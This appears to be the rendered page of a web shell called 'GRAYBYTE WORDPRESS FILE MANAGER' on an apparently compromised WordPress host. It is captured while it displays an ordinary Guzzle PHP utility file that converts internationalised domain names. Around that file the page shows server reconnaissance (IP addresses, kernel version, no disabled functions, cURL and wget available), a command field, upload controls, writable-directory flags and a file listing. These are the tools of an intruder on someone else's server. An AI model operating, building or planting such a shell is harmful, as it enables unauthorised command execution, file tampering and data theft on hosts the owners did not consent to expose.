GRAYBYTE WORDPRESS FILE MANAGER2898

Server IP : 162.213.255.40 / Your IP : 216.73.216.114
System : Linux server146.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
PHP Version : 8.0.30
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF

HOME

/home/hellrfbn/public_html/wp-content/plugins/updraftplus/vendor/guzzlehttp/guzzle/src/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/hellrfbn/public_html/wp-content/plugins/updraftplus/vendor/guzzlehttp/guzzle/src//Utils.php
<?php
namespace GuzzleHttp;

use GuzzleHttp\Exception\InvalidArgumentException;
use Psr\Http\Message\UriInterface;
use Symfony\Polyfill\Intl\Idn\Idn;

final class Utils
{
    /**
     * Wrapper for the hrtime() or microtime() functions
     * (depending on the PHP version, one of the two is used)
     *
     * @return float|mixed UNIX timestamp
     *
     * @internal
     */
    public static function currentTime()
    {
        return function_exists('hrtime') ? hrtime(true) / 1e9 : microtime(true);
    }

    /**
     * @param int $options
     *
     * @return UriInterface
     * @throws InvalidArgumentException
     *
     * @internal
     */
    public static function idnUriConvert(UriInterface $uri, $options = 0)
    {
        if ($uri->getHost()) {
            $asciiHost = self::idnToAsci($uri->getHost(), $options, $info);
            if ($asciiHost === false) {
                $errorBitSet = isset($info['errors']) ? $info['errors'] : 0;

                $errorConstants = array_filter(array_keys(get_defined_constants()), function ($name) {
                    return substr($name, 0, 11) === 'IDNA_ERROR_';
                });

                $errors = [];
                foreach ($errorConstants as $errorConstant) {
                    if ($errorBitSet & constant($errorConstant)) {
                        $errors[] = $errorConstant;
                    }
                }

                $errorMessage = 'IDN conversion failed';
                if ($errors) {
                    $errorMessage .= ' (errors: ' . implode(', ', $errors) . ')';
                }

                throw new InvalidArgumentException($errorMessage);
            } else {
                if ($uri->getHost() !== $asciiHost) {
                    // Replace URI only if the ASCII version is different
                    $uri = $uri->withHost($asciiHost);
                }
            }
        }

        return $uri;
    }

    /**
     * @param string $domain
     * @param int    $options
     * @param array  $info
     *
     * @return string|false
     */
    private static function idnToAsci($domain, $options, &$info = [])
    {
        if (\preg_match('%^[ -~]+$%', $domain) === 1) {
            return $domain;
        }

        if (\extension_loaded('intl') && defined('INTL_IDNA_VARIANT_UTS46')) {
            return \idn_to_ascii($domain, $options, INTL_IDNA_VARIANT_UTS46, $info);
        }

        /*
         * The Idn class is marked as @internal. Verify that class and method exists.
         */
        if (method_exists(Idn::class, 'idn_to_ascii')) {
            return Idn::idn_to_ascii($domain, $options, Idn::INTL_IDNA_VARIANT_UTS46, $info);
        }

        throw new \RuntimeException('ext-intl or symfony/polyfill-intl-idn not loaded or too old');
    }
}

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
Cookie
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
Exception
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
Handler
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
.htaccess
0.41 KB
July 23 2025 07:38:28
hellrfbn / hellrfbn
0644
Client.php
18.862 KB
February 05 2025 15:45:31
hellrfbn / hellrfbn
0644
ClientInterface.php
2.797 KB
February 05 2025 15:45:31
hellrfbn / hellrfbn
0644
HandlerStack.php
7.586 KB
February 05 2025 15:45:31
hellrfbn / hellrfbn
0644
MessageFormatter.php
7.092 KB
February 05 2025 15:45:31
hellrfbn / hellrfbn
0644
Middleware.php
9.66 KB
February 05 2025 15:45:31
hellrfbn / hellrfbn
0644
Pool.php
4.723 KB
February 05 2025 15:45:31
hellrfbn / hellrfbn
0644
PrepareBodyMiddleware.php
3.148 KB
February 05 2025 15:45:31
hellrfbn / hellrfbn
0644
RedirectMiddleware.php
8.517 KB
February 05 2025 15:45:31
hellrfbn / hellrfbn
0644
RequestOptions.php
10.113 KB
February 05 2025 15:45:31
hellrfbn / hellrfbn
0644
RetryMiddleware.php
3.421 KB
February 05 2025 15:45:31
hellrfbn / hellrfbn
0644
TransferStats.php
3.042 KB
February 05 2025 15:45:31
hellrfbn / hellrfbn
0644
UriTemplate.php
7.928 KB
February 05 2025 15:45:31
hellrfbn / hellrfbn
0644
Utils.php
2.731 KB
February 05 2025 15:45:31
hellrfbn / hellrfbn
0644
functions.php
9.695 KB
February 05 2025 15:45:31
hellrfbn / hellrfbn
0644
functions_include.php
0.156 KB
February 05 2025 15:45:31
hellrfbn / hellrfbn
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF